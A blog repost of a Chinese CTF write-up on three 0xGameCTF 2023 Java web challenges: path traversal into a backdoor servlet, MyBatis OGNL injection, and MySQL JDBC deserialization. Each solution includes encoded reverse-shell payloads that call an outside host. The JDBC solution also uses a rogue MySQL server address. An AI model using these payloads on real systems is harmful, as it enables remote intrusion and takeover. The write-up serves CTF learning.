         xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
         version="4.0">

    <servlet>
        <servlet-name>IndexServlet</servlet-name>
        <servlet-class>com.example.demo.IndexServlet</servlet-class>
    </servlet>
    <servlet>
        <servlet-name>DownloadServlet</servlet-name>
        <servlet-class>com.example.demo.DownloadServlet</servlet-class>
    </servlet>
    <servlet>
        <servlet-name>EvilServlet</servlet-name>
        <servlet-class>com.example.demo.EvilServlet</servlet-class>
    </servlet>

    <servlet-mapping>
        <servlet-name>IndexServlet</servlet-name>
        <url-pattern>/</url-pattern>
    </servlet-mapping>
    <servlet-mapping>
        <servlet-name>DownloadServlet</servlet-name>
        <url-pattern>/download</url-pattern>
    </servlet-mapping>
    <servlet-mapping>
        <servlet-name>EvilServlet</servlet-name>
        <url-pattern>/You_Find_This_Evil_Servlet_a76f02cb8422</url-pattern>
    </servlet-mapping>
    
    <filter>
        <filter-name>AuthFilter</filter-name>
        <filter-class>com.example.demo.AuthFilter</filter-class>
    </filter>

    <filter-mapping>
        <filter-name>AuthFilter</filter-name>
        <url-pattern>/*</url-pattern>
    </filter-mapping>
</web-app>

可以看到存在 EvilServlet, 映射的路由为 /You_Find_This_Evil_Servlet_a76f02cb8422
根据网上文章的知识点, 通过包名 (com.example.demo.EvilServlet) 构造对应的 class 文件路径并下载

//download?filename=%2e%2e/WEB-INF/classes/com/example/demo/EvilServlet.class

然后用 JD-GUI 工具进行反编译(保存那一个即可)
得到源码

/*    */ import java.io.IOException;
/*    */ import javax.servlet.http.HttpServlet;
/*    */ import javax.servlet.http.HttpServletRequest;
/*    */ import javax.servlet.http.HttpServletResponse;
/*    */ 
/*    */ public class EvilServlet extends HttpServlet {
/*    */   protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws IOException {
/* 11 */     String cmd = req.getParameter("Evil_Cmd_Arguments_fe37627fed78");
/*    */     try {
/* 13 */       Runtime.getRuntime().exec(cmd);
/* 14 */       resp.getWriter().write("success");
/* 15 */     } catch (Exception e) {
/* 16 */       resp.getWriter().write("error");
/*    */     } 
/*    */   }
/*    */ }


/* Location:              C:\Users\罗思远\Desktop\!\_WEB-INF_classes_com_example_demo_EvilServlet.class
 * Java compiler version: 8 (52.0)
 * JD-Core Version:       1.1.3
 */

分析一下,处理POST传参,请求参数为Evil_Cmd_Arguments_fe37627fed78,然后就是无回显RCE

我们访问刚刚得到的映射路由 /You_Find_This_Evil_Servlet_a76f02cb8422,然后POST传参反弹shell
传入 Runtime.exec 的命令需要进行编码
[0xGameCTF 2023] web题解,CTF比赛,前端,web安全,php,java,spring
payload

bash -c {echo,YmFzaCAtaSA%2BJiAvZGV2L3RjcC9mNTc4MTk2NzR6LmltZG8uY28vNTQ3ODkgMD4mMQ%3D%3D}|{base64,-d}|{bash,-i}

开启监听,反弹shell
[0xGameCTF 2023] web题解,CTF比赛,前端,web安全,php,java,spring
得到flag
[0xGameCTF 2023] web题解,CTF比赛,前端,web安全,php,java,spring

YourBatis

考点:MyBatis 低版本 OGNL 注入

得到的jar文件,丢到idea进行反编译
首先关注 pom.xml, 通过这个文件可以查看 jar 包使用的第三方库

<dependency>
<groupId>org.mybatis.spring.boot</groupId>
<artifactId>mybatis-spring-boot-starter</artifactId>
<version>2.1.1</version>
</dependency>

存在 mybatis 依赖, 版本 2.1.1, 该版本存在 OGNL 表达式注入
IndexController.class

package com.example.yourbatis.controller;

import com.example.yourbatis.entity.User;
import com.example.yourbatis.mapper.UserMapper;
import java.util.List;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;

@RestController
public class IndexController {
    @Autowired
    private UserMapper userMapper;

    public IndexController() {
    }

    @RequestMapping({"/"})
    public String index() {
        return "Hello World!";
    }

    @RequestMapping({"/user"})
    public String user(@RequestParam(value = "username",defaultValue = "") String username) {
        if (!username.isEmpty()) {
            User user = this.userMapper.getUserByUsername(username);
            return user.toString();
        } else {
            List<User> userList = this.userMapper.getUsers();
            return userList.toString();
        }
    }
}

给了两个路由,/路由返回Hello World!./user路由接收参数username,如果不为空,则从数据库中根据用户名查询用户,并将结果赋值给 user 对象。

追踪到userMapper.class

package com.example.yourbatis.mapper;

import com.example.yourbatis.entity.User;
import com.example.yourbatis.provider.UserSqlProvider;
import java.util.List;
import org.apache.ibatis.annotations.Mapper;
import org.apache.ibatis.annotations.SelectProvider;

@Mapper
public interface UserMapper {
    @SelectProvider(
        type = UserSqlProvider.class,
        method = "buildGetUsers"
    )
    List<User> getUsers();

    @SelectProvider(
        type = UserSqlProvider.class,
        method = "buildGetUserByUsername"
    )
    User getUserByUsername(String username);
}

可以看到是接口内定义了两个方法,我们要的是下面的
继续追踪到UserSqlProvider.class

package com.example.yourbatis.provider;

import org.apache.ibatis.jdbc.SQL;

public class UserSqlProvider {
    public UserSqlProvider() {
    }

    public String buildGetUsers() {
        return (new SQL() {
            {
                this.SELECT("*");
                this.FROM("users");
            }
        }).toString();
    }

    public String buildGetUserByUsername(final String username) {
        return (new SQL() {
            {
                this.SELECT("*");
                this.FROM("users");
                this.WHERE(String.format("username = '%s'", username));
            }
        }).toString();
    }
}

不难看出buildGetUserByUsername()方法是存在可控参数username的,可以实现SQL注入,进一步讲就是存在 OGNL 表达式注入。

大概执行过程如下

  1. 如果我们传入name的值为:${@java.lang.Math@min(4,10)}
  2. 那么会先进行OGNL表达式解析,即为4
  3. 解析完毕以后得到username的变量,传入SQL中
select * from users where username = '4';

回到题目,我们直接反弹shell

${@java.lang.Runtime@getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9mNTc4MTk2NzR6LmltZG8uY28vNTQ3ODkgMD4mMQ==}|{base64,-d}|{bash,-i}")}

但是很显然是会失败的, 因为传入的命令包含了 {} , 会被递归解析为另⼀个 OGNL 表达式的开头和结尾

解决方案是只要不出现大括号就行, 利用 OGNL 调用 Java 自身的 base64 decode 方法

${@java.lang.Runtime@getRuntime().exec(new java.lang.String(@java.util.Base64@getDecoder().decode('YmFzaCAtYyB7ZWNobyxZbUZ6YUNBdGFTQStKaUF2WkdWMkwzUmpjQzltTlRjNE1UazJOelI2TG1sdFpHOHVZMjh2TlRRM09Ea2dNRDRtTVE9PX18e2Jhc2U2NCwtZH18e2Jhc2gsLWl9')))}

然后再url编码一下,上传

/user?username=$%7B@java.lang.Runtime@getRuntime().exec(new%20java.lang.String(@java.util.Base64@getDecoder().decode('YmFzaCAtYyB7ZWNobyxZbUZ6YUNBdGFTQStKaUF2WkdWMkwzUmpjQzltTlRjNE1UazJOelI2TG1sdFpHOHVZMjh2TlRRM09Ea2dNRDRtTVE9PX18e2Jhc2U2NCwtZH18e2Jhc2gsLWl9')))%7D

成功反弹shell
[0xGameCTF 2023] web题解,CTF比赛,前端,web安全,php,java,spring
在环境变量里,得到flag
[0xGameCTF 2023] web题解,CTF比赛,前端,web安全,php,java,spring

TestConnection

考点:MySQL JDBC反序列化

打开题目,将jar反编译
先看pom.xml

        <dependency>
            <groupId>mysql</groupId>
            <artifactId>mysql-connector-java</artifactId>
            <version>8.0.11</version>
            <scope>runtime</scope>
        </dependency>

        <dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.2.1</version>
        </dependency>

        <dependency>
            <groupId>org.postgresql</groupId>
            <artifactId>postgresql</artifactId>
            <version>42.3.1</version>
            <scope>runtime</scope>
        </dependency>

给了两个依赖, mysql 和 postgresql, 对应两种利用方式
然后源码如下

package com.example.testconnection;

import java.sql.DriverManager;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;

@RestController
public class IndexController {
    public IndexController() {
    }

    @RequestMapping({"/"})
    public String index() {
        return "Hello World!";
    }

    @RequestMapping({"/testConnection"})
    public String testConnection(@RequestParam("driver") String driver, @RequestParam("url") String url, @RequestParam("username") String username, @RequestParam("password") String password) {
        try {
            Class.forName(driver);
            DriverManager.getConnection(url, username, password);
            return "success";
        } catch (Exception var6) {
            return var6.getMessage();
        }
    }
}

分析一下,给了./testConnection路由,接收四个请求参数,然后就是加载驱动driver,进行数据库连接,返回success。这里要先了解一下JDBC

JDBC

JDBC(Java DataBase Connectivity)是一种用于执行Sql语句的Java Api,即Java数据库连接,是Java语言中用来规范客户端程序如何来访问数据库的应用程序接口,可以为多种关系数据库提供统一访问,提供了诸如查询和更新数据库中数据的方法,是Java访问数据库的标准规范。简单理解为链接数据库、对数据库操作都需要通过jdbc来实现

  • JDBC URL 就是用于连接数据库的字符串, 格式为jdbc:db-type://host:port/db-name?param=value
  • db-type 就是数据库类型, 例如 postgresql, mysql, mssql, oracle, sqlite
  • db-name 是要使用的数据库名
  • param 是要传入的参数, 比如 user, password, 指定连接时使用的编码类型等等

当 jdbc url 可控时, 如果目标网站使用了旧版的数据库驱动, 在特定情况下就可以实现 RCE

我们可以利用 mysql 驱动,已知版本为8.0.11
结合网上文章可以构造对应的 jdbc url

jdbc:mysql://124.71.184.68:50044/test?
autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffI
nterceptor

首先得注意, 因为题目给的代码是 DriverManager.getConnection(url, username, password); , 即会单独传
入⼀个 username 参数, 因此 url 中的 username 会被后面的 username 给覆盖

其次, 因为 jdbc url 本身也符合 url 的规范, 所以在传 url 参数的时候, 需要把 url 本身全部进行 url 编码, 防止服务
器错把 autoDeserialize, queryInterceptors 这些参数当成是⼀个 http get 参数, 而不是 jdbc url 里面的参数

最后依然是 Runtime.exec 命令编码的问题

/testConnection?
driver=com.mysql.cj.jdbc.Driver&url=jdbc:mysql://124.71.184.68:50044/testConnection?
autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffI
nterceptor&username=deser_CC31_bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9mNTc4MTk2NzR6LmltZG8uY28vNTQ3ODkgMD4mMQ==}|{base64,-d}|{bash,-i}&password=123

url编码一下文章来源地址https://www.toymoban.com/news/detail-740642.html

/testConnection?driver=com.mysql.cj.jdbc.Driver&url=jdbc%3Amysql%3A%2F%2F124%2E71%2E184%2E68%3A50044%2Ftest%3FautoDeserialize%3Dtrue%26queryInterceptors%3Dcom%2Emysql%2Ecj%2Ejdbc%2Einterceptors%2EServerStatusDiffInterceptor&username=deser%5FCC31%5Fbash%20%2Dc%20%7Becho%2CYmFzaCAtaSA%2BJiAvZGV2L3RjcC9mNTc4MTk2NzR6LmltZG8uY28vNTQ3ODkgMD4mMQ%3D%3D%7D%7C%7Bbase64%2C%2Dd%7D%7C%7Bbash%2C%2Di%7D&password=123

到了这里,关于[0xGameCTF 2023] web题解的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 2023年“羊城杯”网络安全大赛 Web方向题解wp 全

    团队名称:ZhangSan 序号:11 不得不说今年本科组打的是真激烈,初出茅庐的小后生没见过这场面QAQ~ 简单记录一下,实际做题踩坑很多,尝试很多。 先扫了个目录,扫出 start.sh 内容如下,这个其实和hint一样的,hint就不放了,尊嘟假嘟解密。 开始做题,题目让我访问路由 /

    2024年02月10日
    浏览(41)
  • 网络安全ctf比赛/学习资源整理,解题工具、比赛时间、解题思路、实战靶场、学习路线,推荐收藏!...

       对于想学习或者参加CTF比赛的朋友来说,CTF工具、练习靶场必不可少,今天给大家分享自己收藏的CTF资源,希望能对各位有所帮助。 CTF在线工具 首先给大家推荐我自己常用的3个CTF在线工具网站,内容齐全,收藏备用。 1、CTF在线工具箱:http://ctf.ssleye.com/    包含CTF比赛

    2023年04月24日
    浏览(92)
  • 记首次参加网络安全比赛(初赛-知识竞赛,决赛-CTF夺旗赛-解题模式)

    网络安全相关的方向很多,几乎IT相关的安全内容都可以涵盖在内。笔者本身的知识体系更偏向于编程语言和Web应用,本次参赛可谓极具挑战,但是就是喜欢这种感觉:) 赛程安排 9月16日接到通知 9月26日初赛 10月15日决赛 初赛 网络安全的重要性不容置疑,借助比赛来增强网

    2024年02月16日
    浏览(46)
  • 攻防世界ctf web easyphp题解wp

    第一步,用科学计数法绕过 a=1e9 第二步,用php代码编写MD5碰撞脚本得到b=53724 第三步,绕过is_numeric函数 第四步,绕过is_array函数  第五步,绕过array_search函数 一定要对传值url编码 提交得到flag  

    2024年02月16日
    浏览(45)
  • 2023蓝帽杯半决赛电子取证+CTF部分题解

    非预期 先将data.xlsx中到的每一列都按照大小排序 之后将加粗的字体的背景颜色改为黑色

    2024年02月07日
    浏览(43)
  • GDOU-CTF-2023新生赛Pwn题解与反思

    因为昨天学校那边要进行天梯模拟赛,所以被拉过去了。 16点30分结束,就跑回来宿舍开始写。 第一题和第二题一下子getshell,不用30分钟,可能我没想那么多,对比网上的WP,自己和他们有点不太一样,比较暴力。 大概17点10的时候,写第三题,可能自己第一次遇到随机数问

    2023年04月17日
    浏览(59)
  • 2023年“羊城杯”网络安全大赛 决赛 AWDP [Break+Fix] Web方向题解wp 全

    终于迎来了我的第一百篇文章。 这次决赛赛制是AWDP。Break+Fix,其实就是CTF+Fix,Fix规则有点难崩。Break和Fix题目是一样的。 总结一下:败北,还是太菜了得继续修炼一下。 看到是SSTI,焚靖直接一把梭了。 瞎了,执行 ls / 时候flag文件在命令旁边没看见,find命令找了好久呜呜

    2024年02月07日
    浏览(54)
  • [青少年CTF训练平台]web部分题解(已完结!)

    首先打开环境(ω。人)ZZz♪♪ 既然要做题,就要做全面了,图上说了,既然有假flag我就先找出来: 打开vmware,使用sqlmap进行处理: 记得中间的url换成自己的 看到了六个可能: {*] ctftraining [*] information_schema [*] mysql [*] performance_schema [*] test [*] word 那就挨个读取,利用指令 ”c

    2024年03月09日
    浏览(65)
  • 2023年网络安全比赛--综合渗透测试(超详细)

    一、竞赛时间 180分钟 共计3小时 二、竞赛阶段 竞赛阶段 任务阶段 竞赛任务 竞赛时间 分值 1.扫描目标靶机将靶机开放的所有端口,当作flag提交(例:21,22,23); 2.扫描目标靶机将靶机的http服务版本信息当作flag提交(例:apache 2.3.4); 3.靶机网站存在目录遍历漏洞,请将h

    2024年02月12日
    浏览(47)
  • 2023年网络安全比赛--Windows渗透测试中职组(超详细)

    一、竞赛时间 180分钟 共计3小时 二、竞赛阶段 1.通过本地PC中渗透测试平台Kali对服务器场景20221219win进行系统服务及版本扫描渗透测试,并将该操作显示结果中1433端口对应的服务版本信息作为Flag值(例如3.1.4500)提交; 2.通过本地PC中渗透测试平台Kali对服务器场景20221219win进

    2024年02月01日
    浏览(46)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包